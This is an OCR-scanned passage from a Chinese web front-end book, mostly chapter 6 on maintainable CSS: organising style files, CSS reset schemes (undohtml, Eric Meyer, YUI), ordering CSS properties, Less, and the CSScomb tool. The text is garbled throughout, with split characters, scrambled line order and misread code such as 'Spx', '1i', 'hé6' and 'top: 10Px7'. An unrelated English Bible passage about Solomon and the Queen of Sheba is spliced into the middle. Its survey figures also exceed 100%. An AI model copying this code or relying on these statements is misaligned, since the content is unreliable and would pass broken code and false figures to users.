从 浏览 器 支持 的 视频 格式 来 看 ， 最 佳 的 方式 是 提供 WebM 和 MP4 两 种 格式 的 视频 ， 兼 容 代码 如 下 : 





<video controls> 

<source src="video.webm" type="video/webm"> 

<source src="video.mp4" type="video/mp4"> 

<! 一 向 后 兼容 代码 : --> 

<iframe width="480" height="360" 
src="http://www.*****.com/embed/xzMUyqmagqcw rel=0" 
frameborder="0" allowfullscreen></iframe> 
</video> 






























在 如 上 代码 中 ， 为 了 处 理 向 后 兼容 ， 添 加 了 一 个 网 络 视频 的 地 址 (可 根据 实际 情况 设 定 ) 。 当 然 ， 还 有 其 他 兼容 方式 ， 比 如 可 以 添加 一 个 Flash 的 视频 播放 器 ， 或 者 也 可 以 显示 一 个 功能 不 被 支持 的 信息 
于 告知 用 户 。 


























1] http://modernizr.com/ 


三 部 分 CSS 最 佳 实践 
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. 第 7 章 高 性 能 的 CSS 


“第 8 章 CSS3 相 关 最 住 实践 


第 6 章 ”高 维护 性 的 CSS 





















































HTML 代 码 主要 表达 了 页 面 的 语义 ， 而 CSS 代 码 则 让 页 面 中 的 HTML 代 码 具 有 了 漂亮 的 外 观 ， 让 页 面 鲜 活 、 生 动 起 来 。 从 开发 角度 来 说 ，CSS 代 码 比 HTML 代 码 更 难以 维护 ， 比 如 ， 为 一 个 元 素 设置 样式 
的 方式 可 以 通过 定义 的 class、 定 义 的 id、 元 素 的 标签 名 、 元 素 的 属性 等 选择 器 以 及 这 些 选 择 器 的 组 合 来 实现 。 作 用 于 某 个 元 素 上 的 样式 可 能 来 自 单个 样式 规则 ， 也 可 能 来 自 多 个 样式 的 组 合 ， 还 可 能 继承 
父 元 素 。CSS 样 式 可 以 定义 在 元 素 的 style 属 性 中 ， 也 可 以 定义 在 页 面 head 部 分 ， 还 可 以 定义 在 单独 的 CSS 文 件 中 。 由 此 可 见 ,编写 CSS 样 式 代 码 具 有 非常 大 的 灵活 性 。CSS 样 式 定义 上 的 灵活 性 带 来 的 是 CSS 





















































































































































代码 的 多 样 性 ， 如 果 不 做 任何 规范 上 的 限制 ， 毫 无 章法 地 使 用 这 些 定义 样式 的 方式 ， 势 必 会 导致 CSS 代 码 的 混乱 和 难以 维护 。 本 章 将 讨论 如 何 编写 高 维护 性 的 CSS 代 码 。 

















6.1 如 何 高 效 地 组 织 CSs 代 码 




















规范 的 CSS 代 码 首先 应 该 具有 结构 清晰 和 模块 分 明 的 特点 。 在 编写 CSS 代 码 时 ， 如 果 没有 规划 页 面 整体 的 样式 ， 则 在 开发 的 过 程 中 就 会 出 现 某 些 代码 块 难以 午 















































用 的 情况 ， 这 样 就 只 能 从 原来 的 代码 中 复制 








部 分 内 容 组 合成 新 的 CSS 样 式 定义 了 。 随 着 站 点 功能 越 来 越 多 ，CSS 代 码 中 重复 的 代码 就 会 越 来 越 多 。 因 此 ， 尽 早 规划 和 组 织 CSS 代 码 的 结构 是 很 有 必要 的 。 合 理 的 CSS 代 码 组 织 结构 可 提高 代码 的 重用 性 和 











可 维护 性 ， 降 低 开 发 的 复杂 度 。 那 么 如 何 才 能 高 效 地 组 织 CSS 代 码 呢 ? 

















首先 是 组 织 CSS 代 码 文件 。 所 有 的 CSS 都 可 以 分 为 两 大 类 : 通用 类 和 业务 类 。 代 码 的 组 织 应 该 把 通用 类 和 业务 类 的 代码 放置 于 不 同 的 目录 中 。 笔 者 经 常 使 有 

















reader 
































的 一 个 文件 组 织 结构 类 似 图 6-1 所 示 。 


common.css 
default.css 
le.cs5 


图 6-1 前 端 CSS 代 码 目录 结构 示例 




















其 中 样式 文件 default'css 的 作用 是 重 置 元 素 的 默认 样式 ， 目 的 是 让 元 素 在 各 浏览 器 中 有 统一 的 外 观 。 笔 者 使 
在 多 个 项 目 中 得 到 了 应 用 。 下 文 将 详细 介绍 样式 重 置 的 相关 技术 。 


























样式 文件 common.css 中 放置 共通 模块 的 样式 和 一 些 基 础 样式 。 共 通 模块 包括 页 面 对 话 框 、 提 示 框 等 共通 组 件 | 














的 一 个 default.css 版 本 结合 了 多 个 其 


他 版 本 的 恒 








置 样式 定义 ， 目 前 的 版 本 基本 稳定 ， 已 经 









































部 分 ， 所 以 必须 要 定义 在 单独 的 CSS 样 式 文件 中 ， 供 各 页 面 引用 。 基 础 样式 包括 全 局 的 页 面 布局 设置 、 字 体 设 










































































使 用 ， 以 提高 代码 的 复 用 度 。 例 如 ， 常 见 的 一 个 公有 class 是 用 来 设置 文字 不 可 见 的 ， 代 码 如 下 : 

















的 样式 以 及 页 面 头 部 、 底 部 、 侧 边栏 等 共通 UI 模 块 的 样式 ， 因 为 是 各 页 画 
、 背 景 和 前 景色 等 ， 也 包括 一 些 公有 的 class， 这 些 公有 class 使 有 


























都 要 使 用 的 共通 
































频繁 ， 所 以 需要 单独 定义 和 








.text-hide { 
font: 0/0 a; 
color: transparent; 
text-shadow: none; 
background-color: transparent; 
border: 





定 不 再 支持 旧版 的 |E 浏 览 器 ， 则 需要 修改 多 个 文件 ， 从 而 增加 了 维护 的 复杂 度 。 好 的 做 法 是 把 兼容 旧版 上 浏览 器 的 样式 放置 在 和 


例 代码 如 下 : 














站 独 的 文件 中 ， 在 页 面 中 使 用 IE 浏 览 器 独 有 的 条 件 注释 方式 引 








此 样式 文件 。 示 





<l==[if 1t TE 8]> 
<link rel='stylesheet' href="ie-style.css" /> 
<![endif]--> 





我 们 之 前 提 到 过 处 理 浏览 器 兼容 问题 的 原则 是 ， 首 先 考虑 是 否 有 其 他 没有 兼容 问题 的 方案 ， 其 次 才 考虑 如 何 兼容 。 当 然 ， 理 想 的 情况 是 所 有 的 CSS 样 式 都 没有 兼容 问题 ， 也 不 
的 样式 代码 ， 但 实际 的 情况 是 ， 由 于 各 种 原因 而 不 得 不 写 一 些 额 外 的 兼容 代码 。 如 果 存 在 这 样 的 额外 代码 ， 则 应 该 放置 在 单独 的 文件 中 。 





























写 针对 特定 版 本 浏览 器 























其 余 的 CSS 样 式 文件 则 








于 











体 业务 模块 。 不 同 模块 的 样式 文件 放置 于 不 同 的 文件 夹 中 。 分 割 模块 的 粒度 并 没有 一 个 标准 ， 原 则 上 尽量 保证 每 个 模块 对 应 的 样式 文件 行 数 不 超 过 200 行 ， 如 果 某 个 模块 的 


样式 文件 太 大 ， 则 会 继续 划分 为 更 小 的 模块 。 举 个 例子 ， 这 个 例子 是 一 个 真实 项 目的 示例 ， 页 面 如 图 6-2 所 示 。 
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attire, his cupbearers, and the *burnt offerings he offered atthe Loro's 
temple, it took her breath away. 

5 She said to the king, ‘The report | heard in my own country about 
your words and about your wisdom is true. 7 But | didn't believe the 
reports uniil | came and saw with my own eyes. Indeed, | was not 
even told half. Your wisdom and prosperity far exceed the report | 
heard. 8 How happy are your men. How happy are these servants of 
yours, who always stand in your presence hearing your wisdom. 

9 May Yahweh your God be praised! He delighted in you and put you 
on the throne of lsrael, because of the Loro’'s etemal love for Israel. 
He has made you king to carry out justice and righteousness.” 

10 Then she gave the king four and a half tons of gold, a great 
quantity of spices, and precious stones. Never again did such a 
quantity of spices arrive as those the queen of Sheba gave to King 
Solomon. 

11 In addition, Hiram's feet that carried gold from Ophir brought 
from Ophir a large quantity of almug wood and precious stones. 

12 The king made the almug wood into steps for the Lorp's temple 
and the king's palace and into lyres and harps for the singers, Never 
before had such almug wood come, and the like has not been seen 
again even to this very day. 

13 king Solomon gave the queen of Sheba her every desire— 
whatever she asked—besides what he had given her out of his royal 
bounty. Then she, along with her servants, retumed to her own 
country. 


Solomon's Wealth 


14 The weighi of gold that came to Solomon annually was 25 tons, 


15 he<ines what rame frnm mprrhants traderes’! merrhandis and all 
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pounds of gold wentinto each shield. 17 He made 300 small shields 
of hammered gold; about four pounds of gold went into each shield. 
The king putthem in the House of the Forest of Lebanon. 

18 The king also made a large ivory throne and overlaid it with fine 
gold. 19 The throne had six steps; there was a rounded top atthe 
back of the throne, armrests on either side of the seat, and two lions 
standing beside the armrests. 20 Twelve lions were standing there on 
the six steps, one at each end. Nothing like it had ever been made in 
any other kingdom. 

21 All of King Solomon's drinking cups were gold, and all the 
utensils of the House of the Forest of Lebanon were pure gold. There 
was no silver, since it was considered as nothing in Solomon's time, 
22 for the king had ships of Tarshish at sea with Hiram's fleet, and 
once every three years the ships of Tarshish would arrive bearing 
gold, silver, ivory, apes, and peacocks. 

23 King Solomon surpassed all the kings of the world in riches and 
in wisdom. 24 The whole world wanted an audience with Solomon to 
hearthe wisdom that God had putin his heart. 25 Every man would 
bring his annual tribute: items of silver and gold, clothing, weapons, 
spices, and horses and mules. 

26 Solomon accumulated 1.400 chariots and 12.000 horsemen 
and stationed them in the chariot cities and with the king in 
Jerusalem.27 The king made silver as common in Jerusalem as 
stones, and he made cedar as abundant as sycamore in the Judean 
foothills. 28 Solomon's horses were imported from Egyptand Kue. 
The king's traders boughtthem from Kue atthe going price. 29 A 
chariot was imported from Egyptfor 15 pounds of silver, and a horse 
foraboutfour pounds. In the same way, ihey exported them to all the 





从 直观 的 效果 来 看 ， 页 面 布 





reader.content.css 和 reader.footer.css。 在 开发 的 过 程 中 ， 发 现 头 部 的 


图 6-2 示例 网 页 效果 图 








局 分 为 头 部 、 主 体 、 尾 部 3 个 部 分 ， 则 CSS 样 式 文件 至 少 也 应 该 分 割 为 3 个 。 














reader.header.action.css。 样 式 文件 经 过 这 样 的 划分 ， 结 构 清晰 ， 方 便 了 代码 后 续 的 开发 和 维护 。 














此 ， 在 开发 的 开始 阶段 ， 按 照 对 应 的 模块 定义 了 3 个 CSS 样 式 文件 为 : reader.header.css、 


图 标 按钮 操作 项 对 应 的 CSS 样 式 内 容 太 多 ， 因 此 把 这 些 操作 项 对 应 的 样式 独立 了 出 来 ， 定 义 了 一 个 新 的 CSS 样 式 文件 : 





介绍 到 这 里 ， 可 能 有 些 人 会 产生 这 样 的 疑问 : 把 样式 文件 分 割 成 这 么 多 个 文件 ， 那 不 是 要 在 页 面 引用 多 个 文件 吗 ? 页 面 加 载 时 的 HTTP 请 求 不 是 也 增加 了 吗 ? 其 实 两 者 并 不 冲突 ， 按 照 功能 模块 划分 代码 


文件 只 是 为 了 方便 在 开发 阶段 的 开发 和 维护 。 在 发 布 的 时 候 会 使 用 工具 








多 个 文件 压缩 合并 成 一 个 文件 ， 并 不 需要 担心 页 面 引 用 多 个 样式 文件 的 问题 。 


样式 文件 除了 按照 功能 模块 划分 为 不 同 的 文件 以 外 ， 在 文件 中 也 要 按照 一 定 的 规则 来 组 织 各 样式 声明 。 我 们 在 之 前 介绍 CSS 的 基本 规范 时 提 到 过 ，CSS 样 式 文件 内 部 也 要 细 化 成 更 小 粒度 的 模块 ， 相 同 模 


块 的 样式 声明 要 放 在 一 起 ， 不 同 模块 对 应 的 样式 声明 之 间 应 添加 空 行 。 那 么 ， 





首先 要 关注 的 是 样式 声明 的 顺序 。 样 式 声明 的 顺序 应 该 按照 模块 中 元 素 的 














对 应 的 样式 。 在 多 个 元 素 共 
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按照 上 述 的 规则 ， 定 义 的 CSS 样 式 框架 应 如 下 : 


图 6-3 示例 网 页 中 页 头 效 果 


在 模块 内 部 定义 样式 又 应 该 遵循 什么 样 的 规则 呢 ? 














层级 关系 来 处 理 ， 比 如 ， 应 该 从 父 元 素 开始 定义 。 如 果 是 同一 级 的 元 素 ， 则 按照 元 素 在 页 面 的 位 置 从 上 到 下 、 从 左 到 右 地 定义 
相同 的 声明 时 ， 则 先 声 明 共 通 样式 ， 然 后 声明 个 体 样式 。 举 个 例子 ， 假 设 要 定义 如 图 6-3 所 示 外 观 所 对 应 的 CSS 样 式 。 
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/* 定义 最 外 框 的 父 元 素 的 样式 


.reader-header-container 


sf 
{ 


/* 定义 最 上 面 黑色 背景 的 工具 条 的 样式 */ 


.reader-header-bar { 


ps 
/* 定义 工具 条 内 部 的 3 个 可 单 击 菜单 项 目的 样式 */ 


.reader-header-bar 1i { 


} 
/* 定义 下 部 的 主体 工具 栏 的 样式 */ 





.reader-header-main { 


} 
/* 定义 下 部 工具 栏 中 最 左边 的 logo 的 样式 */ 


.reader-header-logo { 





ee 
/* 定义 下 部 工具 栏 中 间 的 5 个 图 标 按钮 的 外 框 的 样式 */ 


.reader-main-action { 


} 
/* 定义 工具 栏 中 图 标 按钮 的 共通 样式 */ 


.reader-main-action li { 





/* 定义 工具 栏 中 分 隔 竖 线 的 共通 样式 */ 


.reader-main-action .spliter { 


} 

/* 按照 从 左 到 右 依 次 定义 工具 栏 中 5 个 图 标 按钮 的 样式 */ 
.reader-main-action .library { 
.reader-main-action .toc { 


} 


.reader-main-action .note { 


} 


.reader-main-action .bookmark { 


.reader-main-action .highlight { 


} 



































如 果 以 上 这 些 规则 还 不 足以 有 效 地 组 织 CSS 样 式 代 码 ， 则 可 以 使 用 更 高 级 的 方式 ， 比 如 ， 使 用 Less 和 Sass。LessI1 和 Sass 四 可 以 帮助 开发 者 编写 出 高 复 用 性 和 高 扩展 性 的 CSS 代 码 。Less 和 Sass 是 动态 的 
样式 语言 ， 将 CSS 赋 予 了 动态 语言 的 特性 ， 如 变量 、 继 承 、 运 算 、 函 数 等 ， 并 且 可 利用 CSS 样 式 的 预 编 译 技术 产生 最 终 的 CSS 样 式 。 如 下 示例 展示 了 如 何 使 用 Less 编 写 样式 代码 。 










































































// Less 

.rounded-corners (@radius: Spx) { 
border-radius: @radius; 
-webkit-border-radius: @radius; 
-moz-border-radius: Q@radius; 


} 
#header { 
.rounded-corners; 


} 
#footer { 


.rounded-corners (10px); 


} 


经 过 编译 后 最 终 产 生 的 CSS 样 式 代码 为 : 





/* 生成 的 CSS */ 

#header { 
border-radius: Spx; 
-webkit-border-radius: Spx; 
-moz-border-radius: 5px; 

} 

#footer { 
border-radius: 10px; 
-webkit-border-radius: 10px; 
-moz-border-radius: 10px; 


} 


















































可 以 看 出 ， 使 用 Less 编 写 样式 可 以 避免 一 些 重复 的 代码 ， 提 高 了 样式 的 开发 和 维护 效率 。 这 里 不 打算 介绍 Less 和 Sass 的 具体 用 法 ， 如 果 对 它们 感 兴趣 ， 可 以 查阅 相应 的 官方 网 站 内 容 。 


[l] lesscss.org 


[2] http://sass-lang.com 


6.2 ”使 用 CSS Reset: 统一 浏览 器 显示 效果 
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前 面 在 介绍 CSS 代 码 文件 的 结构 时 ， 介 绍 了 一 个 用 于 统一 浏览 器 显示 效果 的 CSS 文 件 。 此 文件 包含 的 CSS 样 式 是 用 来 重 置 元 素 的 默认 样式 的 ， 这 种 重 置 元 素 默认 样式 的 方式 称 为 CSS Reset 技 术 。CSS 
Reset 这 一 概念 由 来 已 久 并 且 使 用 广泛 ， 受 到 了 众多 开发 者 的 推崇 ， 许 多 大 网 站 的 CSS 代 码 中 包含 有 CSS Reset 的 内 容 。 


























那么 CSS Reset 有 什么 好 处 呢 ? 这 得 从 HTML 标 签 的 默认 样式 说 起 。 在 浏览 器 中 ，HTML 标 签 是 有 原始 样式 的 ， 例 如 <p> 标 签 有 上 下 边 距 、<em> 标 签 中 的 字体 为 斜体 、<li> 标 签 会 在 开头 显示 一 个 圆 点 
等 。 标 签 在 浏览 器 中 具有 默认 样式 是 标签 语义 的 一 种 体现 ， 但 问题 是 在 不 同 的 浏览 器 中 ， 标 签 的 默认 样式 会 不 尽 相同 ， 其 中 某 些 差异 给 开发 带 来 了 不 小 麻烦 ， 比 如 下 面 的 HTML 代 码 片 段 : 




















<input type="search" /> 
<input type="button" value="Save" /> 








这 段 代 码 在 IE 10、Firefox 15 和 Chrome 23 中 泻 染 时 就 会 有 差异 。 图 6-4 中 分 别 是 在 这 3 个 浏览 器 中 的 显示 效果 对 比 。 


























图 6-4 输入 文本 框 和 按钮 在 不 同 浏览 器 中 的 显示 效果 对 比 








可 以 看 到 ， 在 Chrome 浏 览 中 ， 两 个 元 素 之 间 的 距离 明显 比 在 IE 和 Firefox 浏 览 器 中 的 宽 ， 这 是 由 于 这 3 个 浏览 器 中 <input> 标 签 的 默认 样式 margin 的 值 不 一 致 造成 的 。 解 决 的 办 法 就 是 重新 设置 
<input> 标 签 的 margin 样 式 : 








input { 
margin: 0; 


bE: 





通过 设置 所 有 的 <input> 标 签 的 margin 样 式 为 0， 消 除了 各 浏览 器 中 margin 设 置 不 一 致 的 问题 。 类 似 的 例子 还 有 很 多 ， 并 且 这 种 差异 让 开发 者 很 苦恼 ， 因 此 ， 早 在 2004 年 ， 一 个 名 叫 Tantek 的 开发 者 
就 开发 了 第 一 个 重 置 样式 文件 ， 该 文件 名 为 undohtml.css[1]。 除 去 注释 ， 重 置 样式 代码 总 共 包括 6 条 样式 规则 ， 如 下 所 示 。 














:link, :visited { text-decoration:none } 

ul, ol { list-style:none } 

hl, h2, h3, h4, h5, hé6, pre, code { font-size:lem; } 

ul, ol, 1i, hl, h2, h3, h4, h5, hé6, pre, form, body, html, p, blockquote, fieldset, 
input 

{ margin:0; padding:0 } 

a img, :link img, :visited img { border:none } 

address { font-style:normal } 




















后 来 陆续 有 了 多 种 版 本 的 样式 重 置 方案 ， 其 中 有 一 个 方案 “火爆 一 时 ”， 此 方案 总 共 就 一 行 代码 。 





* { margin: 0; padding: 0 } 














这 个 方案 之 所 以 火爆 ， 是 因为 样式 重 置 得 很 彻底 ， 重 置 了 所 有 标签 的 默认 margin 和 padding 样 式 ，“ 一 劳 永 逸 ” 地 解决 了 大 部 分 的 浏览 器 差异 。 后 来 在 使 用 的 过 程 中 ， 逐 渐 发 现 了 此 方案 的 浆 端 ， 因 为 
看 置 了 所 有 标签 的 margin 和 padding 样 式 ， 所 以 需要 添加 额外 的 代码 重新 设置 回 某 些 标签 的 margin 或 padding 样 式 ， 如 <input> 标 签 的 padding 样 式 。 此 方案 虽然 消除 了 浏览 器 中 默认 样式 的 差异 ， 但 又 增 

















加 了 后 续 开发 的 复杂 度 ， 并 不 能 很 有 效 地 提高 整体 开发 的 效率 。 




































































另外 ， 此 方案 的 性 能 也 不 佳 ， 当 页 面 的 元 素 很 多 时 就 会 影响 页 面 泻 染 的 性 能 。 因 此 ， 这 个 方案 也 逐渐 被 开发 者 据 弃 ， 转 而 探索 更 有 效率 的 样式 重 置 方案 ， 甚 至 也 有 开发 者 提出 放弃 样式 重 置 的 观点 加 
当然 ， 放 弃 样式 重 置 是 一 种 比较 极端 的 观点 。 目 前 有 多 个 流行 的 样式 重 置 方案 ， 使 用 较 广泛 的 有 Eric Meyer 开 发 的 Reset CSSB] 和 雅虎 公司 前 端 技术 团队 开发 的 YUI Reset CSS 内 。 笔 者 推荐 的 做 法 是 针对 不 
同 的 项 目 选择 不 同 的 样式 重 置 方案 ， 而 不 是 言 目 照搬 别人 的 完整 方案 ， 因 为 并 不 存在 一 个 最 佳 的 并 且 适 合 所 有 项 目的 样式 重 置 解决 方案 。 综 合 这 些 流行 的 方案 ， 设 计 一 个 合适 项 目 实际 需求 的 样式 重 置 方案 






































才 是 开发 效率 最 高 的 做 法 。 不 过 ， 在 选择 样式 重 置 方案 的 过 程 中 需要 考虑 如 下 问题 。 





(1) HTML5 中 的 新 标签 





























如 果 在 项 目 中 需要 使 用 HTML5 中 新 添加 的 标签 ， 则 重 置 某 些 标签 的 display 样 式 ， 因 为 在 IE 8/IE 9 中 没有 定义 这 些 标签 的 默认 display 样 式 。 样 式 代码 如 下 : 

















article, 
aside, 
details, 


section, 
summary { 
display: block; 
} 
audio, 
Canvas, 
video { 
display: inline-block; 
} 





(2) padding、margin 和 border 














标签 在 浏览 器 之 间 的 差异 主要 是 由 与 这 3 个 样式 有 关 的 默认 样式 产生 的 ， 这 也 是 之 前 提 到 的 把 所 有 元 素 的 margin 和 padding 样 式 重 
padding、margin 和 border 样 式 ， 代 码 如 下 : 








这 一 个 方案 流行 的 原因 。 在 Eric 的 方案 中 ， 也 是 重 置 了 大 部 分 标签 的 





html, body, div, span, applet, object, iframe， 
hil, h2, h3, h4, h5, h6， P， blockquote, Pre， 
a abbr, acronym, address, big, cite, code， 
del, dfn, em, img, ins, kbd, q, s, samp， 
small, strike, strong, sub, sup; tt, var， 
b, u, i, center， 
dl, dt, dd, ol, ul, 1i, 
fieldset, form, label, legend， 
table, caption, tbody, tfoot, thead, tr, th, td, 
article, aside, canvas, details, embed， 
figure, figcaption, footer, header, hgroup, 
menu, nav, output, ruby, section, Summary， 
time, mark, audio, video { 

margin: 0; 

padding: 0; 

border: 0; 

font-size: 100%; 

font: inherit; 

vertical-align: baseline; 




















Eric 提 供 的 方案 也 有 缺点 ， 其 实 和 重 置 全 部 元 素 的 padding 和 margin 样 式 的 方案 一 样 ， 增 加 了 后 续 样式 设置 的 复杂 度 ， 倒 是 YUI 中 的 方案 相对 “温和 ”一 ” 些 。YUI 中 的 方案 只 是 重 置 了 部 分 元 素 的 








margin 和 padding 样 式 。 来 看 看 YUI 中 的 方案 : 





body, div, dl, dt, dd, ul, ol, 
1i, hl, h2, h3, h4, h5, hé, pre; 
Code, form, fieldset, legengd, 
input, button, textarea, select, 
p; blockquote, th, td { 

margin: 0; 

padding: 0; 
} 








当 <img> 标 签 在 一 个 <a> 标 签 内 部 时 ， 因 为 会 在 IE 8/IE 9 中 出 现 默认 的 border， 所 以 需要 重 置 <img> 标 签 的 border 样 式 。 

















img { 
border: 0; 
} 


(3) 字体 设置 





<h1>~<h6>、<strong>、<em> 等 语义 化 的 标签 都 有 默认 的 字体 。 其 实 ， 在 实际 的 项 目 中 ， 一 般 都 会 重新 定义 标题 的 样式 ， 而 <strong> 和 <em> 标 签 本 身 是 语义 化 标签 ， 很 多 时 候 并 不 需要 把 字体 


























变 为 黑体 或 者 斜体 ， 推 荐 把 这 些 标签 的 字体 样式 重 置 。 以 下 是 笔者 推荐 的 一 种 重 置 方案 ， 代 码 片段 来 自 YUI 框 架 。 


address， 
caption， 
cite, 
Code, 
dfn, 

em 
strong; 


font-style:normal; 
font-weight:normal; 


h6 { 
font-size:100%; 


font-weight:normal; 

} 

abbr, acronym { 
border: 0; 
font-variant: normal; 

} 

input， 

textarea, 

select { 
font-family:inherit; 
font-size:inherit; 
font-weight:inherit; 


} 
/*to enable resizing for IE*/ 
input， 
textarea, 
select { 
*font-size:100%; 


} 








(4) 其 他 元 素 的 样式 重 置 























列表 元 素 一 般 会 在 每 个 列表 项 的 前 面 添加 小 图 标 ， 但 在 实际 项 目 中 因为 很 少 会 使 用 这 种 默认 的 列表 项 样式 ， 所 以 会 重 置 列表 项 的 样式 ， 如 下 : 























庆 
list-style: none; 


} 























表格 元 素 的 样式 重 置 的 目的 是 重 置 单元 格 之 间 的 默认 空间 ， 重 置 样式 代码 如 下 : 



































table { 
border-collapse: collapse; 
border-spacing: 


} 





在 大 部 分 情况 下 ， 链 接 并 没有 设计 为 有 下 划 线 的 形式 ， 需 要 重 置 链接 默认 添加 了 下 划 线 的 样式 ， 





中 | 





E 置 代码 如 下 : 





a:link, a:visited 


text-decoration: none; 








还 有 其 他 一 些 需要 重 置 样式 的 元 素 ， 包 括 sup、sub、del、ins、q、blcokquote 等 。 应 该 根据 实际 的 项 目 需求 ， 决 定 是 否 在 重 置 样式 中 添加 针对 这 些 元 素 样式 的 重 置 。 下 面 是 YUI 框 架 中 针对 部 分 元 素 





嘻 
加 
过 
训 

















q:before, 

q:after { 
content:''; 

} 

abbr， 

acronym { 
border:0; 
font-variant:normal; 

} 

sup { 
vertical-align:text-top; 

} 

sub { 
vertical-align:text-bottom; 


} 





[1] http://tantek.com/log/2004/09.html#d06t2354 
[2] http://snook.ca/archives/html_and_css/no_css_reset 
[3] http://meyerweb.com/eric/tools/css/reset 


[4] http://yuilibrary.com/yui/docs/cssreset 


6.3 给 Css 样 式 定义 排序 





CSS 样 式 排序 是 指 按照 一 定 的 规则 排列 CSS 样 式 属性 的 定义 ， 排 序 并 不 会 影响 CSS 样 式 的 功能 和 性 能 ， 只 是 让 代码 看 起 来 更 加 整洁 。CSS 代 码 的 逻辑 性 并 不 强 ， 一 般 的 开发 编者 写 CSS 样 式 也 很 随意 ， 如 








果 不 借助 工具 ， 不 太 容易 按照 既定 的 顺序 来 定义 CSS 属 性 ， 这 是 前 端 程序 员 很 少 对 CSS 样 式 属性 进行 排序 的 最 主要 原因 。 



































尽管 对 CSS 样 式 属性 进行 排序 需要 花费 一 些 精力 ， 但 从 代码 的 可 读 性 和 可 维护 性 角度 来 考虑 ， 这 些 付出 还 是 值得 的 。 如 果 CSs 属 性 按照 一 定 的 规则 排序 ， 那 么 在 开发 过 程 中 可 以 防止 属性 的 重复 定义 ， 代 
码 的 检查 者 也 能 很 清晰 地 查看 CSS 样 式 定义 ， 更 关键 的 是 在 后 续 维护 过 程 中 能 快速 定位 特定 的 样式 属性 。 有 人 做 过 一 个 调查 ， 该 调查 显示 有 超过 60% 的 开发 者 会 给 CSS 样 式 排序 ， 可 见 业内 大 部 分 的 开发 者 对 
CSS 样 式 属性 排序 持 肯 定 的 态度 ， 只 是 在 排序 的 方式 上 会 有 一 定 的 分 歧 ， 具 体 的 调查 结果 为 : 大 约 有 45% 的 人 按照 类 型 分 组 排序 ， 有 14% 的 人 按照 字母 序 排列 ， 还 有 29% 的 人 按照 定义 的 长 度 排序 剩 下 的 大 约 


























39% 的 人 从 来 都 不 会 给 CSs 排 序 。 下 面 分 别 介绍 这 几 种 排序 的 方式 及 其 优 缺 点 。 

















(1) 按 类 型 分 组 排序 














这 种 排序 方式 最 复杂 ， 却 也 是 最 合理 的 方式 。 著 名 的 Web 前 端 专家 Andy Ford 推 荐 过 一 种 按照 类 型 分 组 排序 的 方式 ， 他 把 CSS 
尺寸 (Dimensions) 、 边 框 相关 属性 (Margins、Padding、Borders、Outline) 、 字 体 样 式 (Typographic Styles) 、 背 景 (Backgrounds) 、 其 他 样式 (Opacity、Cursors、Generated 








Content) 。 以 此 规则 ，Andy Ford 给 出 了 一 个 例子 ， 基 本 包含 了 CSS 2.1 中 所 有 的 样式 




















属性 。 可 以 通过 浏览 他 的 文章 中 来 查看 完整 的 示例 代码 。 随 着 CSS3 的 普及 ，CSS 样 式 中 也 添加 了 很 多 新 的 





新 的 属性 也 可 以 按照 如 上 的 规则 归 类 到 不 同 的 类 别 中 ， 如 : text-shadow 可 以 归 类 到 字体 样式 中 ，border-radius 可 以 归 类 为 边框 相关 属性 。 














属性 分 为 7 大 类 : 显示 与 浮动 (Diplay&Flow) 、 定 位 (Positioning) 、 





这 种 按照 样式 类 型 分 组 排列 的 方式 不 仅 把 功能 相似 的 属性 归 类 在 一 起 ， 并 且 按 照样 式 功能 的 重要 性 从 上 到 下 进行 了 排列 。 可 以 把 影响 元 素 页 面 布局 的 样式 (如 float、margin、padding、height、 














width 等 ) 排 到 前 面 ， 而 把 不 影响 布局 的 样式 (如 background、color、font 等 ) 放 到 后 面 。 这 种 主 次 分 明 的 排列 方式 ， 极 大 地 提高 了 代码 的 可 维护 性 。 


(2) 按 字母 序 排列 



































按 字母 序 排列 的 方式 也 是 CSS 排 序 中 使 用 较 多 的 一 种 方式 。 相 比较 于 前 一 种 方式 ， 这 种 方式 的 优点 是 排列 规则 简单 。 按 字母 序 排列 的 规则 是 按照 属性 的 首 字母 从 A 到 jz 排列 ， 忽 略 浏览 器 前 级 














webkit-、-moz-、-0- 及 -ms-) 。 下 面 是 一 个 按照 字母 序 排列 的 例子 。 


(如 - 





#element { 
~webkit-border-radius: 4px; 


-moz-border-radius: 4px; 
border-radius: 4px; 

Color: #FFF; 

font-family: "Times New Roman", serif; 
font-weight: bold; 

height: 300px; 

line-height: 20px; 

top: 10Px7 

width: 100px; 


(3) 按 定义 长 度 排序 











这 种 排序 方式 是 使 用 较 少 的 一 种 方式 。 和 按照 字母 序 排列 的 方式 类 似 ， 这 种 方式 是 按照 样式 定义 的 字符 长 度 排列 。 排 列 的 方式 可 以 从 长 到 短 ， 也 可 以 是 从 短 到 长 。 下 面 的 例子 将 按照 定义 由 长 到 短 排 
列 。 











#element { 
font-family: "Times New Roman", serif; 
-webkit-border-radius: 4px; 
-moz~border-radius: 4px; 
border-radius: 4px; 
font-weight: bold; 
line-height: 20px; 
height: 300px; 
width: 100px; 
color: #FFF; 
top: 10Px7 














以 上 三 种 常见 的 CSS 排 序 方式 ， 第 一 种 最 为 合理 ， 代 码 的 可 读 性 和 可 维护 性 也 是 最 好 的 ， 但 是 规则 相对 复杂 。 其 余 两 种 方式 规则 简单 ， 但 仅仅 是 让 代码 看 起 来 更 整洁 ， 并 没有 明显 地 提高 代码 的 可 维护 
性 。 在 实际 的 应 用 中 ， 推 荐 使 用 第 一 种 排列 方式 。 





























当然 ， 如 果 纯粹 是 靠 前 端 工程 师 在 编写 代码 过 程 中 按照 一 定 的 规则 来 排列 CSS 样 式 肯定 是 有 难度 的 ， 并 且 也 不 方便 频繁 地 修改 代码 。 最 佳 的 方式 是 在 编写 代码 过 程 中 按照 最 有 效率 的 方式 来 编写 ， 在 编 
写 完成 并 提交 代码 时 使 用 工具 对 CSS 排 序 。 这 样 既 提高 了 开发 效率 又 方便 了 后 续 代码 的 阅读 和 维护 。 推 荐 一 款 免费 的 CSS 排 序 工具 : CSScomb[ 外 。CSScomb 提 供 了 在 线 工具 及 主流 代码 编辑 器 的 插件 。 下 面 
以 WebStorm 为 例 ， 演 示 CSScomb 的 使 用 方法 以 及 效果 对 比 。 




































































































































































下 载 CSScomb 工 具 包 ， 根 据 教 程 安装 插件 到 WebStorm， 然 后 就 可 以 直接 使 用 CSScomb 了 。 其 使 用 方式 也 很 简单 ， 在 CSS 样 式 文件 上 单 击 右键 ， 在 弹出 的 快捷 菜单 中 依次 选 
择 “CSS” 一 “CSScomb”， 如 图 6-5 所 示 。 














co La | text-align: left; 
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图 6-5 WebStorm 编 辑 器 中 使 用 CSScomb 插 件 


